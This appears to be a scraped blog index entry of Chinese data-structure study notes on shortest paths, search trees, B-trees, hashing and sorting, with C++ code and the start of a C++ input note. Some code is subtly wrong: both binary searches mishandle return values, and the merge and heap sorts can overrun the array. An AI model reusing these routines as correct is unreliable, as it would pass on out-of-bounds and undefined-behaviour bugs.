(1)让所有边上加入中间顶点1，取a[i][j]与a[i][1]+a[1][j]中较小的值作a[i][j]的值，完成后得到A(1) (2)让所有边上加入中间顶点2，取a[i][j]与a[i][2]+a[2][j]中较小的值，完成后得到A(2) (3)…，如此进行下去，当第n步完成后，得到A(n)，A(n)即为我们所求结果，A(n)[i][j]表示顶点i到顶点j的最短距离。 所有顶点试探完毕，算法结束。 C++代码 template \u0026lt;class ElemType, class WeightType\u0026gt; void ShortestPathFloyd(const AdjListDirNetwork\u0026lt;ElemType, WeightType\u0026gt; \u0026amp;g, int **path, WeightType **dist) { for (int u=0; u \u0026lt; g.GetVexNum(); u++) //初始化 for (int v=0; v \u0026lt; g.GetVexNum(); v++){ dist[u][v]=(u != v) ? g.GetWeight(u, v) : 0; if (u != v \u0026amp;\u0026amp; dist[u][v] \u0026lt; g.GetInfinity()) path[u][v]=u; else path[u][v]=-1; } for (int k=0; k \u0026lt; g.GetVexNum(); k++)\t//求A(k) for (int i=0; i \u0026lt; g.GetVexNum(); i++)\t//加入k为中间顶点 for (int j=0; j \u0026lt; g.GetVexNum(); j++) if (dist[i][k] + dist[k][j] \u0026lt; dist[i][j]) { dist[i][j]=dist[i][k] + dist[k][j]; path[i][j]=path[k][j]; } } 6.\t活动网络, Active Network 6.1\t用顶点表示的活动网络 AOV，Activity on Vertex 在这种有向图中，顶点表示活动，弧表示活动的次序。\nAOV网络中不能出现有向回路。(意味着某项活动的开始要以自己的完成作为先决条件)\n拓扑排序\n邻接表的拓扑排序时间复杂度为O(n+e)\n把AOV网络中的各个顶点，按照他们的优先次序排列成一个线性序列的过程。\n检测AOV网中有无有向环的方法：构造其顶点的拓扑有序序列，若网中的所有顶点都在他的拓扑排序序列中，则无有向环。 拓扑排序的方法：\n在有向图中选择一个没有前驱的结点输出 从图中删除该顶点和所有以他为尾的弧 重复上述两步，直至所有的顶点均已输出；或者当图中不存在无前驱的顶点为止。 (略)\n6.2 边表示的活动网络，AOE, Activity on Edges 有向边表示一个工程中的各项活动，边上的权值表示活动持续的时间(duration)。\n顶点表示事件(event)，事件的发生说明在它之前的活动已完成，而在它之后的活动可以开始.\n(略)\n五、查找 静态查找就是只负责查找就行，动态查找不光要负责找，还要比如说查找的这个元素不存在需要补上。\n平均查找长度（ASL）\npi 是查找到某个元素的概率（probability） ci 是查找到这个元素时已经比较的次数，如，查找在 10 个数中查找第 5 个数，其比较的次数是多少（包括和第 5 个数比较的次数） 装载因子\n​\t设数据表的长度为m，表中元素个数为n，则数据表的装载因子是n/m(\u0026lt;1)\n5.1\t静态查找 5.1.1\t顺序查找 Sequential search\n顺序查找特点\n优点：算法简单、适应面广，对表的结构或关键字是否有序无任何要求。 缺点：查找效率低，特别是当n较大时，查找效率较低，不宜采用。\n查找成功的平均查找长度 ASL=(n+1)/2\n查找失败的平均查找长度 ASL=n+1\n5.1.2\t二分查找/折半查找 Binary search\n算法要求 ​\t（1）数据在线性表中按查找的关键字域有序排列。 ​\t（2）数据表是顺序存储结构。\n算法动图演示 算法实现 // 折半查找的递归实现 int BinarySearch(int elems[], int low, int high, int key) { int mid = (low + high) / 2; if(low \u0026gt; high) return -1; if (elems[mid] == key) return mid; else if (elems[mid] \u0026lt; key) BinarySearch(elems, mid + 1, high, key); else if (elems[mid] \u0026gt; key) BinarySearch(elems, low, mid - 1, key); else return -1; } // 折半查找的迭代实现 int BinarySearch(int elems[],int n,int key){ int mid; int low=0,high=n-1; while(low \u0026lt;= high){ mid = (low + high) / 2; if(elems[mid] == key) return mid; else if(elems[mid] \u0026lt; key) low = mid + 1; else if(elems[mid] \u0026gt; key) high = mid - 1; } } 对于有序表，还能够使用斐波那契查找和插值查找\n拓展：斐波那契查找和插值查找 斐波那契查找 斐波那契查找原理仅仅改变了中间结点（mid）的位置，mid不再是中间或插值得到，而是位于黄金分割点附近，即mid=low+F(k-1)-1，（F代表斐波那契数列），如下图所示。\n插值查找 插值查找的算法思想和折半查找类似，区别在于求中间位置的公式。其求中间点的公式为:\nMid = low + ((key - data[low]) / (data[high] - data[low])) * (high - low)\n他的查找性能在关键字分布较均匀的情况下优于折半查找\n平均查找长度 成功：log2(n+1)-1,O(log2n)\n折半查找的二叉查找树：\n5.2\t动态查找 5.2.1\t二叉排序树 BST, Binary Sort/Search Tree\n1\t定义 二叉排序/搜索树或者是一棵空树，或者是具有下列性质的二叉树：\n左子树(如果存在)上所有结点的关键字都小于根结点的关键字。 右子树(如果存在)上所有结点的关键字都大于根结点的关键字。 左子树和右子树也是二叉排序树。 2\t二叉排序树上的查找 算法性能分析\n当二叉排序树是完全二叉树时，其平均查找性能最佳为log2n，与有序表的折半查找相同。\n当二叉排序树退化为一棵单支树时，二叉排序树的平均查找性能最差为：（n+1）/2，与顺序表的平均查找长度相同。\ntemplate \u0026lt;class ElemType\u0026gt; BinTreeNode\u0026lt;ElemType\u0026gt; *BinarySortTree\u0026lt;ElemType\u0026gt;::Find(const ElemType \u0026amp;key, BinTreeNode\u0026lt;ElemType\u0026gt; *\u0026amp;f) const // 操作结果: 求指向关键字为key的数据元素的指针,用f返回其双亲 { BinTreeNode\u0026lt; ElemType\u0026gt; *p = GetRoot();\t// 指向当前结点 f = NULL;\t// 指向p的双亲 while (p != NULL \u0026amp;\u0026amp; p-\u0026gt;data != key)\t{\t// 查找关键字为key的结点 if (key \u0026lt; p-\u0026gt;data)\t{\t// key更小,在左子树上进行查找 f = p; p = p-\u0026gt;leftChild; } else{\t// key更大,在右子树上进行查找 f = p; p = p-\u0026gt;rightChild; } } return p; } 3\t二叉排序树上的插入 1.方法\n先搜索BST中有无该结点，只有无才插入\n插入是作为叶子插入，插入后仍满足BST\n插入位置应是搜索操作停止 的地方(在进行查找之后，f指针指向的就是需要插入的位置)\n2.算法实现\ntemplate \u0026lt;class ElemType\u0026gt; bool BinarySortTree\u0026lt;ElemType\u0026gt;::Insert(const ElemType\u0026amp; e) { BinTreeNode\u0026lt;ElemType\u0026gt;* f; if (Find(e, f) == NULL) { BinTreeNode\u0026lt;ElemType\u0026gt;* p; p = new BinTreeNode\u0026lt;ElemType\u0026gt;(e); if (IsEmpty())\troot = p; else if (e \u0026lt; f-\u0026gt;data)\tf-\u0026gt;leftChild = p; else\tf-\u0026gt;rightChild = p; return true; } else return false; } 4\t二叉排序树上的删除 原则\n删除结点所断开的链要重新接起来[保持树性质]\n删除链接后仍是BST[保持排序/搜索性质]\n重新链接后树的高度不增加[保证效率]\n方法\n被删结点为叶子，只需将双亲结点的相应指针置为空\n被删结点无右子树，拿左孩子结点顶替它的位置\n被删结点无左子树，拿右孩子结点顶替它的位置\n被删结点左右子树都有，有两种处理方法：\n在他的左子树中寻找中序遍历的最后一个（关键字最大，一定没有右孩子），将他的值赋给目标删除的结点，再删去这个叶子； 在他的右子树中寻找中序遍历的第一个结点（关键字最小，一定没有左孩子），将他的值赋给目标删除节点，再删去这个叶子。 算法实现\ntemplate \u0026lt;class ElemType\u0026gt; void BinarySortTree\u0026lt;ElemType\u0026gt;::Delete(BinTreeNode\u0026lt;ElemType\u0026gt; *\u0026amp;p) // 操作结果: 删除p指向的结点 { BinTreeNode\u0026lt;ElemType\u0026gt; *tmpPtr, *tmpF; if (p-\u0026gt;leftChild == NULL \u0026amp;\u0026amp; p-\u0026gt;rightChild == NULL)\t{\t// p为叶结点 delete p; p = NULL; } else if (p-\u0026gt;leftChild == NULL)\t{\t// p只有左子树为空 tmpPtr = p; p = p-\u0026gt;rightChild; delete tmpPtr; } else if (p-\u0026gt;rightChild == NULL)\t{\t// p只有右子树非空 tmpPtr = p; p = p-\u0026gt;leftChild; delete tmpPtr; } else\t{\t// p左右子非空 tmpF = p; tmpPtr = p-\u0026gt;leftChild; while (tmpPtr-\u0026gt;rightChild != NULL)\t{\t// 查找p在中序序列中直接前驱tmpPtr及其双亲tmpF,直到tmpPtr右子树为空 tmpF = tmpPtr; tmpPtr = tmpPtr-\u0026gt;rightChild; } p-\u0026gt;data = tmpPtr-\u0026gt;data;\t// 将tmpPtr指向结点的数据元素值赋值给被删除结点的数据元素值 // 删除tmpPtr指向的结点 if (tmpF-\u0026gt;rightChild == tmpPtr)\t// 删除tmpF的右孩子 Delete(tmpF-\u0026gt;rightChild); else\t// 删除tmpF的左孩子 Delete(tmpF-\u0026gt;leftChild); } } 5.2.2\t平衡二叉树 AVL树\n1\t定义 又称AVL树, 或是空树、或是具有下列性质的二叉树： 它的左子树和右子树都是平衡二叉树，且左子树和右子树的深度之差的绝对值不超过1。\n平衡因子（balance factor,BF）：\n结点右子树高度减去左子树高度所得高度差 AVL树中结点的平衡因子值只能是-1，0，1 AVL树的ASL可保持在O(log2n)\n2\t平衡旋转 LL：顺时针\nRR：逆时针\nLR：逆时针，顺时针\nRL：顺时针，逆时针\n2.1\tLL平衡旋转—右单旋转 如果在A的左孩子B的左子树插入了新的结点，使A的平衡因子从-1变到了-2，则需要进行LL旋转。\n2.2\tRR平衡旋转—左单旋转 如果在A的右孩子B的右子树插入了新的结点，使A的平衡因子从1变到了2，则需要进行RR旋转。\n2.3\tLR平衡旋转—先左后右双旋转 如果在A的左孩子B的右子树插入了新的结点，使A的平衡因子从-1变到了-2，则需要进行LR旋转。\n2.4\tRL平衡旋转—先右后左双旋转 如果在A的右孩子B的左子树插入了新的结点，使A的平衡因子从1变到了2，则需要进行RL旋转。\n3\t平衡二叉树的插入 平衡二叉树插入结点的算法思想 （1）按二叉排序树的性质插入结点。 （2）如果插入结点之后出现不平衡的结点，则继续步骤（3）；否则插入完成。 （3）找到失去平衡的最小子树。 （4）判断平衡旋转的类型作相应平衡化处理。 关键问题 （1）发现“不平衡的结点”； （3）确定“失去平衡的最小子树”； （4）判断“平衡旋转的类型”。 例题 依次插入{11,39,23,68,85,8,3,46,27,50}，过程如图：\n4\t平衡二叉树的删除 4.1\t平衡二叉树删除结点的算法思想\n​\t如果被删结点x是叶子； ​\t如果被删结点x只有一个孩子； ​\t如果被删结点x有左、右孩子 4.2\t如何知道是否破坏了平衡？\n用布尔变量shorter来记录子树的高度是否被缩短 从结点x的双亲到根结点的路径上的每一个结点的shorter为true时，根据以下三种不同的情况操作，直到shorter为false。\n（1）情况一： 结点p的平衡因子为0，如果它的左子树或右子树被缩短（shorter的值为true），则它的平衡因子改为1或-1，由于此时以结点p为根的子树高度没有缩短，所以置shorter的值为false。如图a\n（2）情况二： 结点p的平衡因子不为0，且其较高的子树被缩短，则P的平衡因子改为0。由于此时以结点p为根的子树高度被缩短，所以shorter的值仍为true。如图b\n（3）情况三：\n​\t结点p的平衡因子不为0，且较矮的子树又被缩短，则在结点p发生不平衡。此时，将进行平衡化旋转来恢复平衡。\n​\t①如果q的平衡因子为0，则只要执行一个单旋转就可恢复结点p的平衡，由于旋转后被处理子树的高度没有缩短，所以置shorter的\t值为false；如图c\n​\t②如果q的平衡因子与p的平衡因子相同，则只要执行一个单旋转就可恢复结点p的平衡。由于此时被处理子树的高度被缩短，所以\tshorter的值仍为true。最后，结点p和q的平衡因子均改为0。如图d\n​\t③如果p与q的平衡因子的符号相反，则需要执行一个双旋转来恢复平衡，先围绕q转、再围绕p转。由于此时被处理子树的高度被缩\t短，所以shorter的值仍为true，新的根结点的平衡因子置为0，其它结点的平衡因子作相应处理。如图e\n平衡二叉树删除结点 小结\np= 0；\t无影响；\tshorter=false p=±1；\t删较高子树结点；\tp=0，shorter=true p=±1；\t删较矮子树结点；\tp不平衡： ​\t①\tq=0；\t单旋转；\tshorter=false\n​\t②\tp，q同号；\t单旋转；\tshorter=true\n​\t③\tp，q异号；\t双旋转；\tshorter=true\n5.2.3\tB-树 1\t动态的m路查找树 结点的格式为（n,p0,k1,p1,k2,p2,\u0026hellip;,kn,pn）\n如结点A的格式为：（2,b,20,c,40,a）\n如果要查找关键字为35的数据元素，就要先从根开始，沿着20~40找到结点c，读入结点c再沿着25~30找到结点e，读入结点e在其中找到35.\n2\tB-树 定义 一颗m阶的B-树是一颗平衡的m路查找树，具有以下特性：\n根节点至少有两个孩子； 除根结点以外的所有结点（不包括失败结点）至少都有⌈m/2⌉个孩子； 所有的失败结点都在同一层上。 B-树中的每个非失败结点的关键字个数都在（⌈m/2⌉-1）~（m-1），超出这个范围就需要分裂（插入操作），低于这个范围需要合并（删除操作）\nB-树的插入 结点分裂的方法：取这个关键字数组的中间关键字作为新的结点，然后其他关键字作为新结点的左右孩子。\n查找过程还是和二叉排序树一样的，插的位置也差不多。\n实例: 跟据关键字{20、30、50、52、60、69、70}，创建一棵3阶B树 由于m=3，所以除了根结点以外，非叶子结点至少有⌈3/2⌉-1个关键字，至多有3-1=2个关键字，所以\nB-树的删除 概念: B树中的删除操作与插入操作类似，但要复杂一些，要使得删除后的结点中关键字个数≥⌈m/2⌉-1，因此将涉及结点的“合并”问题。由于删除的关键字位置不同，可以分为关键字在终端结点和不在终端结点两种情况。\n①： 如果删除的关键字在终端结点上（最底层的叶子结点）:\n结点内关键字数量大于⌈m/2⌉-1，这时删除这个关键字不会破坏B树的定义要求，所以直接删除 结点内关键字等于⌈m/2⌉-1，并且左右兄弟结点中存在关键字大于⌈m/2⌉-1，则去兄弟结点中借关键字 结点内关键字等于⌈m/2⌉-1，并且左右兄弟结点中存在关键字不大于⌈m/2⌉-1，则需要进行结点合并 ②: 如果删除的关键字不在终端结点上（最底层的非叶子结点）:需要先转换成终端结点上，再按照在终端结点上的情况来分别考虑应对方法。\n第一种情况:存在关键字大于⌈m/2⌉-1结点的左子树或者右子树，在对应子树上找到该关键字的相邻关键字，然后将相邻关键字替换成待删除的关键字\n何为相邻关键字:对于不在终端结点上的关键字，它的相邻关键字是其左子树中值最大的关键字或者右子树中值最小的关键字。 找出这个待删除关键字的相邻关键字，比如说下图中10的相邻关键字就是9和11，其实就是这个大小序列中该关键字的直接前驱或者直接后驱关键字。 将这个待删除关键字和某个相邻关键字互换，然后删除这个关键字 第二种情况:左右子树的关键字数量均等于⌈m/2⌉-1，则将这两个左右子树结点合并，然后删除待删除关键字，14.\n3\tB+树 概念:B+树是常用于数据库和操作系统的文件系统中的一种用于查找的数据结构\nm阶的B+树与m阶的B树的主要差异在于:\n在B+树中，具有n个关键字的结点只含有n棵子树，即每个关键字对应一颗子树，在B树中，具有n个关键字的结点含有(n+1)棵子树。 在B+树中，每个结点（非根内部结点）关键字个数n的范围是⌈m/2⌉≤n≤m（根结点1≤n≤m），在B树中，每个结点（非根内部结点）关键字个数n的范围是⌈m/2⌉-1≤n≤m-1（根结点1≤n≤m-1）。 在B+树中，叶结点包含信息，所有非叶结点仅起到索引作用，非叶结点中的每个索引项只含有对应子树的最大关键字和指向该子树的指针，不含该关键字对应记录的存储地址。 在B+树中，叶结点包含了全部关键字，即在非叶结点中出现的关键字也会出现在叶结点中；而在B树中，叶节点包含的关键字和其他结点包含的关键字是不重复的。 5.3\t散列表 1\t散列表的基本概念 2\t散列函数 直接定址法\n数字分析法\n除留余数法\n乘余取整法\n3\t处理冲突的方法 3.1\t闭散列——开放地址法 存在的问题：在闭散列的情形下不能随便物理地删除表中的数据，因为会影响表中其他元素的查找。如果散列表经常变动，就是用开散列的方法来处理哈希冲突。\n线性探测法 ​\t每当发生冲突，就探测下一个桶。当循环m-1次之后就会回到开始探测时的位置，说明待查元素不在表中，而且表已满，不能再进行插入。\n​\t线性探测法容易产生“堆积”的问题，改进：二次探测法。\n二次探测法 ​\t在发生冲突的时候，寻找下一个空桶的公式为：Hi=（H0+di+m）%m，式中di=1^2,-1^2,2^2,-2^2,\u0026hellip;(i-1,2,\u0026hellip;,(m-1)/2)；H0=hash(key)，他是通过某一个hash函数对数据元素的关键字key进行计算得到的桶号，是一个非负整数，m是表的大小。\n​\t举例：\n​\t当出现哈希冲突的时候，使用二次探测，H=hash(H0+1)，H=hash(H0-1)，H=hash(H0+4)，\u0026hellip;，一直到找到，或者探测到空，或者是 i = (m-1)/2\n​\t当表的长度为质数，且表的装载因子不超过0.5时，新的数据元素一定能够插入到散列表中。\n双散列法 ​\t该方法需要两个散列函数进行实现。第一个散列函数按照数据元素的关键字key计算出数据元素存放的桶号；当发生冲突的时候，使用第二个散列函数计算下一个空桶的位移量，他的取值和key的值有关，且与表的大小互质。\n3.2\t开散列——链地址法 六、排序 排序思想、排序过程、排序算法、排序性能、每种算法的优缺点\n各个排序算法的性能比较 稳定的排序算法：冒泡、插入、归并、基数\n空间复杂度：\n​\t归并排序是O(n)\n​\t快速排序是O(logn)\n​\t基数排序是O(radix)\n时间复杂度为O(nlogn)：希尔、归并、快速、堆排序\n时间复杂度为O(n^2)：冒泡、选择、插入\n交换排序 1\t冒泡排序 排序性能和优缺点 时间复杂度：最坏情况：O(N^2) 最好情况：O(N) 空间复杂度：O(1)\n稳定性：稳定\n排序思想 左边大于右边就交换，一趟排下来最大的在右边\n排序过程 排序算法 //冒泡排序 void BubbleSort(int* arr, int n) { int end = n; while (end) { int flag = 0; for (int i = 1; i \u0026lt; end; ++i) { if (arr[i - 1] \u0026gt; arr[i]) { int tem = arr[i]; arr[i] = arr[i - 1]; arr[i - 1] = tem; flag = 1; } } if (flag == 0) { break; } --end; } } 2\t快速排序 排序性能和优缺点 时间复杂度：平均情况：O(nlogn)\n​\t最坏情况：O(n^2) 最好情况：O(nlogn) 空间复杂度：O(logn)\n稳定性：不稳定\n排序思想 特点：排完一趟之后，那个元素就已经处于最后的位置了。\n递归的过程；\n任取数据表中的某个数据作为基准值，将整个数据表划分为比基准值大的和比他小的；\n重复对左右子表执行上述过程，直到所有子表的长度为1.\n排序过程 排序算法 // 快速排序 void QuickSort(int elem[], int left, int right) { if (left \u0026lt; right) { int i = left, j = right, x = elem[left]; while (i \u0026lt; j) { while (i \u0026lt; j \u0026amp;\u0026amp; elem[j] \u0026gt;= x) j--; if (i \u0026lt; j) elem[i++] = elem[j]; while (i \u0026lt; j \u0026amp;\u0026amp; elem[i] \u0026lt; x) i++; if (i \u0026lt; j) elem[j--] = elem[i]; } elem[i] = x; QuickSort(elem, left, i - 1); QuickSort(elem, i + 1, right); } } 插入排序 3\t直接插入排序 排序性能和优缺点 时间复杂度：\n​\t平均：O(n^2)\n​\t最好：O(n)\n​\t最坏：O(n^2)\n空间复杂度：O(1)\n稳定性：稳定\n排序思想 一般来说，插入排序都采用in-place在数组上实现。具体算法描述如下：\n从第一个元素开始，该元素可以认为已经被排序； 取出下一个元素，在已经排序的元素序列中从后向前扫描； 如果该元素（已排序）大于新元素，将该元素移到下一位置； 重复步骤3，直到找到已排序的元素小于或者等于新元素的位置； 将新元素插入到该位置后； 重复步骤2~5。 排序过程 排序算法 // 插入排序 void InsertSort(int elems[], int n) { int i, j; for (i = 1; i \u0026lt; n; i++) { int temp = elems[i]; for (j = i - 1; j \u0026gt;= 0 \u0026amp;\u0026amp; elems[j] \u0026gt; temp; j--) elems[j + 1] = elems[j]; elems[j + 1] = temp; } } 改进：\t折半插入排序 排序思想 在插入elem[i]的时候，先利用折半查找寻找elem[i]的插入位置，然后把插入位置后面的元素依次后移一个元素空间，最后把elem[i]插入到对应位置。\n4\t希尔排序 排序性能和优缺点 时间复杂度：\n​\t平均：O(nlogn)\n​\t最好：O(nlog^2n)\n​\t最坏：O(nlog^2n)\n空间复杂度：O(1)\n稳定性：不稳定\n排序思想 希尔排序又叫缩小增量排序。\n首先取一个整数d\u0026lt;n作为间隔，将全部元素分成d个组，在每一个组中进行直接插入排序； 缩小d的值，重新分组，重新做直接插入排序； 直到d=1，将所有元素放在一个组中进行直接插入排序。 排序过程 排序算法 // 希尔排序 void ShellSort(int elems[], int n) { int i, j, gap; for (gap = n / 2; gap \u0026gt; 0; gap /= 2) // 在每个组中做直接插入排序 for (i = gap; i \u0026lt; n; i++) { int temp = elems[i]; for (j = i - gap; j \u0026gt;= 0 \u0026amp;\u0026amp; elems[j] \u0026gt; temp; j -= gap) elems[j + gap] = elems[j]; elems[j + gap] = temp; } } 选择排序 5\t简单选择排序 排序性能和优缺点 时间复杂度：\n​\t平均：O(n^2)\n​\t最好：O(n^2)\n​\t最坏：O(n^2)\n空间复杂度：O(1)\n稳定性：不稳定\n排序思想 首先在未排序序列中找到最小（大）元素，存放到排序序列的起始位置，然后，再从剩余未排序元素中继续寻找最小（大）元素，然后放到已排序序列的末尾。以此类推，直到所有元素均排序完毕。\nn个记录的直接选择排序可经过n-1趟直接选择排序得到有序结果。具体算法描述如下：\n初始状态：无序区为R[1…n]，有序区为空； 第i趟排序(i=1,2,3…n-1)开始时，当前有序区和无序区分别为R[1…i-1]和R(i…n）。该趟排序从当前无序区中-选出关键字最小的记录 R[k]，将它与无序区的第1个记录R交换，使R[1…i]和R[i+1…n)分别变为记录个数增加1个的新有序区和记录个数减少1个的新无序区； n-1趟结束，数组有序化了。 排序过程 排序算法 // 简单选择排序 void SelectSort(int elems[], int n) { int i, j, min; for (i = 0; i \u0026lt; n - 1; i++) // 第i躺排序 { min = i; // min记录最小元素下标 for (j = i + 1; j \u0026lt; n; j++) if (elems[j] \u0026lt; elems[min]) min = j; if (min != i) // 如果min不是当前元素，则交换之 { int temp = elems[i]; elems[i] = elems[min]; elems[min] = temp; } } } 6\t锦标赛排序 排序性能和优缺点 排序思想 排序过程 排序算法 7\t堆排序 排序性能和优缺点 时间复杂度：\n​\t平均：O(nlogn)\n​\t最好：O(nlogn)\n​\t最坏：O(nlogn)\n空间复杂度：O(1)\n稳定性：不稳定\n排序思想 对数据表中的数据元素，利用堆的调整算法形成初始堆； 输出堆顶元素； 对剩余的元素重新调整形成堆； 重复执行2、3步，直到所有的元素都被输出。 排序过程 排序算法 // 堆的最大堆调整算法 void FilterDown(int elem[], int low, int high) { int i = low, j = 2 * i + 1; // i为要调整结点，j为i的左孩子 int temp = elem[i]; // 当前结点 while (j \u0026lt;= high) { // 沿较大的孩子结点向下筛选 if (j \u0026lt; high \u0026amp;\u0026amp; elem[j] \u0026lt; elem[j + 1]) // 如果右孩子较大，把j指向右孩子 j++; if (temp \u0026gt;= elem[j]) // 如果当前结点比孩子结点大，则筛选结束 break; else { // 否则，将孩子结点上移，i、j下降 elem[i] = elem[j]; i = j; j = 2 * i + 1; } } elem[i] = temp; // 回放temp中暂存的元素 } // 堆排序 void HeapSort(int elem[], int n) { int i; for (i = n / 2 - 1; i \u0026gt;= 0; i--) // 建立堆 FilterDown(elem, i, n); for (i = n - 1; i \u0026gt; 0; i--) { // 交换堆顶和最后一个元素 int temp = elem[0]; elem[0] = elem[i]; elem[i] = temp; FilterDown(elem, 0, i); // 调整堆 } } 归并排序 归并排序的性能不受输入数据的影响，但表现比选择排序好的多，因为始终都是O(nlogn）的时间复杂度。代价是需要额外的内存空间。\n8\t两路归并排序 排序性能和优缺点 时间复杂度：\n​\t平均：O(nlogn)\n​\t最好：O(nlogn)\n​\t最坏：O(nlogn)\n空间复杂度：O(n)\n稳定性：稳定\n排序思想 假设初始数据表有n个数据元素，首先把它看成长度为1的归并项，先做两两归并；\n得到n/2（向上取整）个归并项，再做两两归并；\n直到最后得到一个长度为n的有序序列。\n排序过程 归并操作的理解\n迭代归并\n递归归并\n排序算法 迭代方式 和 递归方式\n// 归并排序 void Merge(int elem[], int low, int mid, int high) { int *temp = new int[high - low + 1]; // 辅助空间 int i = low, j = mid + 1, k = 0; // i、j是两段有序序列的下标，k是temp的下标 while (i \u0026lt;= mid \u0026amp;\u0026amp; j \u0026lt;= high) { // 两段有序序列归并 if (elem[i] \u0026lt;= elem[j]) temp[k++] = elem[i++]; else temp[k++] = elem[j++]; } while (i \u0026lt;= mid) temp[k++] = elem[i++]; // 复制第一段有序序列剩余部分 while (j \u0026lt;= high) temp[k++] = elem[j++]; // 复制第二段有序序列剩余部分 for (i = 0; i \u0026lt; k; i++) elem[low + i] = temp[i]; // 复制回去 delete[] temp; } // 迭代实现 void MergeSort(int elem[], int n) { int len = 1, i; while (len \u0026lt; n) { i = 0; while (i + 2 * len - 1 \u0026lt;= n) { Merge(elem, i, i + len - 1, i + 2 * len - 1); i = i + 2 * len; } if (i + len \u0026lt; n) Merge(elem, i, i + len - 1, n - 1); len = 2 * len; } } // 递归实现 void MergeSort(int elem[], int low, int high) { if (low \u0026lt; high) { int mid = (low + high) / 2; // 分解 MergeSort(elem, low, mid); // 求解 MergeSort(elem, mid + 1, high); Merge(elem, low, mid, high); // 合并 } } 基数排序 9\t链式基数排序 排序性能和优缺点 基数排序是按照低位先排序，然后收集；再按照高位排序，然后再收集；依次类推，直到最高位。有时候有些属性是有优先级顺序的，先按低优先级排序，再按高优先级排序。最后的次序就是高优先级高的在前，高优先级相同的低优先级高的在前。\n排序思想 取得数组中的最大数，并取得位数； arr为原始数组，从最低位开始取每个位组成radix数组； 对radix进行计数排序（利用计数排序适用于小范围数的特点） 排序过程 排序算法 #include \u0026lt;math.h\u0026gt; struct Node { int key; int next; }; // 链式基数排序 void RadixSort(Node elem[], const int d, const int radix) { int rear[radix], front[radix], p, i, j, k, power; for (i = 0; i \u0026lt; d; i++) { for (j = 0; j \u0026lt; radix; j++) front[j] = 0; power = int(pow(double(radix), i)); p = elem[0].next; while (p != -1) { k = (elem[p].key / power) % radix; if (front[k] == 0) front[k] = p; else elem[rear[k]].next = p; rear[k] = p; p = elem[p].next; } j = 0; while (front[j] == 0) j++; elem[0].next = front[j]; p = rear[j]; for (k = j + 1; k \u0026lt; radix; k++) if (front[k] != 0) { elem[p].next = front[k]; p = rear[k]; } elem[p].next = -1; } } ","permalink":"https://sirius2alpha.github.io/posts/notes/4-archive/%E5%AD%A6%E4%B8%9A%E5%BD%92%E6%A1%A3/data_structure/","summary":"一、绪论 数据（data）是信息的载体，是描述客观事物的数、字符、图形、图像、声音以及所有能输入计算机中并被计算机程序识别和处理的符号的集合。\n数据的最小单位的是数据项；\n数据的基本单位是数据元素，一个数据元素可由若干个数据项组成。\n数据结构分为两大类：线性结构和非线性结构\n两类结构通常分为四类基本结构：\n1）集合：结构中的数据元素之间同属于一个集合，此外没有其他关系；\n2）线性结构：结构中的数据元素之间存在一种线性关系，一对一的关系；\n3）树形结构：一对多的关系；\n4）图形结构或网状结构：多对多的关系。\n根据视点的不同又可分为：逻辑结构和物理结构：\n逻辑结构：面向问题，描述数据元素之间的逻辑关系；\n物理结构：又称存储结构，面向计算机，是数据结构在计算机中的表示（映像）\n算法的特性：输入性、输出性、确定性、有穷性、有效性（可行性）\n算法的标准：正确性（满足所要求界的问题的需求，最重要最基本）、可用性（便于用户使用，良好的界面、完备的用户文档）、可读性（易于理解）、效率（存储单元的开销和运行时间的耗费）、健壮性（对于非法数据的处理）\n算法复杂度：（渐进）时间复杂度和空间复杂度\n二、线性结构 1、线性表 1.1\t顺序表示：顺序表 用顺序结构存储的线性表为顺序表（sequential list）。\n顺序表一般用数组进行存储\n类模板定义：T* elems，int length，int maxLength\n1.2\t链表表示 1)\t单链表 分为带头结点和不带头结点的单链表；\n带头结点的单链表相对不带头结点的单链表在涉及会更改头节点的任务时，操作会更加统一。\n类模板定义：\n（结点）T data，Node* next\n（单链表）Node* head，int length\n2)\t双向循环链表 类模板定义：\n（结点）T data，Node* prior，Node* next\n（双向循环链表）Node* head，int length\n*带头结点的双向循环列表只有一个元素结点的条件：head-\u0026gt;next!=head \u0026amp;\u0026amp; head-\u0026gt;next-\u0026gt;next==head\n3)\t静态链表 利用数组来模拟存储空间实现链表。\n类模板定义：\n（结点）T data，Node* next\n（静态链表）Node* head，Node* avail\n设数组a放置了一个静态链表，当链表未使用的时候，其中所有的结点都是形成了一个链表，用avail进行管理，代表未使用的结点。\n当进行插入操作的时候，就从avail中取出一个头节点，进行赋值，再放入head链表之中。\n在完成每一步操作之后，记得要将next域中更改\n插入元素操作：\ni=avail; avail=a[avail].next; a[i].next=a[head],next; a[head]。next=i; 当需要释放由j所指向的结点时，只需要把结点j放到avail表的最前端，并让avail指向它即可。","title":"数据结构学习笔记"},{"content":"C++学习笔记 现在主流的编译型语言包括C、C++、Go、Rust等，它们的编译过程中需要将代码转换成机器语言，因此可以获得更高的执行效率和更好的性能。\n而主流的解释型语言包括Python、Ruby、JavaScript等，这些语言需要解释器将代码转换成机器语言并运行，因此相对于编译型语言，它们的执行效率和性能可能会稍低，但是它们通常具有更高的开发效率和更强的灵活性，因为它们可以在运行时动态修改代码。\n另外，还有一些语言是即时编译型语言（JIT），例如Java、C#和LuaJIT等，这些语言的编译器会在运行时将代码编译成机器语言，因此它们的执行效率和性能通常比解释型语言要高一些，但比编译型语言略低一些。\n函数的声明和定义中，\n不能重复定义一个参数的值；\n带有默认值的形式参数必须放在参数列表的最右侧;\n一、cin 函数的用法 使用cin从标准输入读取数据时，通常用到的方法有cin\u0026raquo;，cin.get，cin.getline。\n1.1 cin\u0026raquo;的用法 （1）cin\u0026raquo;等价于cin.operator\u0026raquo;()，即调用成员函数operator\u0026raquo;()进行读取数据。 （2）当cin\u0026raquo;从缓冲区中读取数据时，若缓冲区中第一个字符是空格、tab或换行这些分隔符时，cin\u0026raquo;会将其忽略并清除，继续读取下一个字符，若缓冲区为空，则继续等待。但是如果读取成功，字符后面的分隔符是残留在缓冲区的，cin\u0026raquo;不做处理。 （3）不想略过空白字符，那就使用 noskipws 流控制。比如cin\u0026raquo;noskipws\u0026raquo;input;\n1.2 cin.get的用法 1.2.1 cin.get读取一个字符 读取一个字符，可以使用cin.get或者cin.get(var)，示例代码如下：\n#include \u0026lt;iostream\u0026gt; using namespace std; int main() { char a; char b; a=cin.get(); cin.get(b); cout\u0026lt;\u0026lt;a\u0026lt;\u0026lt;b\u0026lt;\u0026lt;endl; system(\u0026#34;pause\u0026#34;); return 0; } 输入：e[回车]，输出： 注意： 